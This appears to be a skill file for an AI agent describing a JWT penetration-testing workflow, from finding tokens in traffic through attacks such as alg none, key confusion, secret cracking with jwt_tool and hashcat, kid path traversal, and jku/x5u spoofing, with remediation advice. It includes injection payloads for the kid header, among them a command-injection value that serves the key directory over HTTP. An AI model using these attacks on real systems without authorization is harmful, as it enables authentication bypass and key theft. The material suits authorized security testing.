| name | jwt-pentest |
| description | How to assess JWT (JSON Web Token) security vulnerabilities in web applications. Use this skill whenever the user mentions JWT tokens, JSON Web Tokens, token security, authentication bypass, session hijacking, or needs to test JWT implementations for vulnerabilities like signature bypass, algorithm confusion, or key exposure. This skill covers the complete JWT assessment workflow from reconnaissance to exploitation. |
JWT Pentesting Skill
A comprehensive guide for assessing JSON Web Token security in web applications.
Quick Assessment Workflow
Follow this systematic approach when evaluating JWT implementations:
1. Scope the Session Control
Identify which tokens actually gate authorization:
- Pick a user-specific request (profile, billing, admin actions)
- Remove cookies/headers one at a time until the request is rejected
- Note which token(s) are required for authorization
2. Locate JWTs in Traffic
JWTs commonly appear in:
Authorization: Bearer <JWT> header
- Custom headers (e.g.,
X-Auth-Token)
- Cookies (e.g.,
session, auth_token)
Search patterns for Burp Site Map:
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
3. Decode and Enumerate
Use jwt_tool or Burp JWT Editor to inspect:
python3 jwt_tool.py <JWT_TOKEN>
Key fields to note:
alg: Algorithm (HS256, RS256, ES256, none)
exp: Expiration time
kid: Key ID (potential attack vector)
jku/x5u: Remote key URLs (SSRF potential)
- Authn/authz claims:
role, id, username, email, sub
4. Signature Enforcement Check
Quick test: Flip or delete bytes in the signature portion and replay.
- Accepted → Missing signature validation (critical vulnerability)
- Rejected → Signature is being checked (proceed to other attacks)
Attack Patterns
Pattern 1: Signature Bypass (No Verification)
When to try: After confirming signature is checked, test if tampering works.
Steps:
- Decode the JWT
- Modify payload claims (e.g., change
role: user to role: admin)
- Keep the original signature unchanged
- Send the modified token
Success indicator: Server accepts the tampered token without re-verification.
Pattern 2: Algorithm None Attack
When to try: Token uses any algorithm, server may not enforce algorithm.
Steps:
- Set
alg header to none or None
- Remove the signature portion entirely
- Send the unsigned token
Burp JWT Editor: Use the built-in "none" algorithm attack.
Pattern 3: HMAC Key Confusion (RS256 → HS256)
When to try: Token uses RS256 (asymmetric) and you have access to the public key.
Concept: Change algorithm from RS256 to HS256. The server will use the public key as the HMAC secret.
Steps:
-
Extract the RSA public key from:
/.well-known/jwks.json
- Server certificate
- JWKS endpoint
-
Change alg from RS256 to HS256
-
Re-sign the token using the public key as the secret
Using Burp JWT Editor:
- Import the RSA public key
- Run Attack → HMAC Key Confusion Attack
Using jwt_tool:
python3 jwt_tool.py <JWT> -M at
Pattern 4: Secret Key Brute Force
When to try: Token uses HS256 with a weak secret.
Steps:
- Export the JWT to a file
- Run offline cracking:
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
- Once secret is recovered, re-sign modified claims with the discovered secret.
Pattern 5: Kid Manipulation
When to try: Token has a kid header claim.
Attack vectors:
5a. Key File Discovery
Search for the key file referenced by kid:
GET /key/12345
GET /key/12345.pem
GET /keys/12345
GET /public/12345.pem
5b. Path Traversal
Attempt to traverse to files with known content:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
5c. SQL Injection
If kid is used in database queries:
non-existent-index' UNION SELECT 'ATTACKER';-- -
5d. OS Command Injection
If kid is used in command execution:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
Pattern 6: JWKS Spoofing (jku/x5u)
When to try: Token has jku (JWK Set URL) or x5u (X.509 URL) header.
Concept: Server fetches keys from remote URL. Point it to your controlled server.
Steps:
- Create your own key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
- Host a JWKS file at your controlled URL:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "<base64-encoded-n>",
"e": "AQAB"
}
]
}
- Modify the token's
jku or x5u to point to your JWKS
- Re-sign with your private key
- Send the forged token
Using Burp Collaborator:
- Use JWT Editor → Attack → Embed Collaborator payload
- Any callback confirms SSRF-style key retrieval
Pattern 7: Embedded Public Key (CVE-2018-0114)
When to try: Token has embedded public key in header.
Steps:
- Generate new key pair:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
- Extract
n and e from your public key
- Embed your public key in the token header
- Re-sign with your private key
Pattern 8: x5c Certificate Chain Attack
When to try: Token has x5c header with certificate chain.
Steps:
- Generate self-signed certificate:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout attacker.key -out attacker.crt
- Extract certificate in base64
- Replace
x5c value with your certificate
- Re-sign with your private key
Pattern 9: Token Replay
When to try: Token has short jti (JWT ID) or no expiration check.
Scenarios:
jti has limited length (e.g., 4 digits: 0001-9999)
- Token has
exp claim but server doesn't enforce it
- Token never expires
Test:
- Capture a valid token
- Wait for expiration time to pass
- Replay the token
- If accepted, the server doesn't check expiration
Pattern 10: Cross-Service Relay
When to try: Multiple services share JWT infrastructure.
Steps:
- Sign up on a different service using the same JWT provider
- Obtain a token from the other service
- Attempt to use it on the target service
- If accepted, tokens are shared across services
Tool Usage
jwt_tool
python3 jwt_tool.py <JWT>
python3 jwt_tool.py -M at -t "https://api.example.com" -rh "Authorization: Bearer <JWT>"
python3 jwt_tool.py <JWT> -C -d wordlist.txt
python3 jwt_tool.py <JWT> -X s
python3 jwt_tool.py <JWT> -I -hc <header_name> -hv <header_value>
Burp JWT Editor
Key features:
- Decode/encode JWTs in Repeater
- Generate custom keys (RSA, ECDSA, HMAC)
- Built-in attacks:
- Algorithm
none attack
- HMAC key confusion attack
- Embedded JWK attack
- jku/x5u Collaborator payloads
Workflow:
- Send request to Repeater
- Open JWT Editor tab
- Modify claims or run attacks
- Send modified request
hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --force
Common Vulnerability Indicators
| Symptom | Likely Vulnerability |
|---|
| Token accepted after signature modification | No signature verification |
Token accepted with alg: none | Algorithm enforcement missing |
| RS256 token accepted with HS256 signature | Key confusion vulnerability |
kid points to accessible file | Key exposure |
jku/x5u triggers callback | SSRF in key retrieval |
| Expired token still works | No expiration check |
| Same token works on different services | Cross-service relay |
Reporting Findings
When documenting JWT vulnerabilities:
- Include the original token (redact sensitive claims if needed)
- Show the modified token that demonstrates the vulnerability
- Explain the impact (privilege escalation, authentication bypass, etc.)
- Provide reproduction steps
- Suggest remediation:
- Always verify signatures
- Enforce algorithm whitelist (never allow
none)
- Use strong, random secrets for HMAC
- Validate
kid against allowlist
- Implement proper expiration checks
- Use separate keys per service
Quick Reference
Most common vulnerabilities (in order of frequency):
- No signature verification
- Algorithm
none accepted
- Weak HMAC secrets
- Key confusion (RS256 → HS256)
- Kid manipulation
- JWKS/x5u SSRF
First tests to run:
- Tamper payload, keep signature
- Set algorithm to
none
- Run
jwt_tool -M at
- Check for
kid, jku, x5u headers
- Test expiration bypass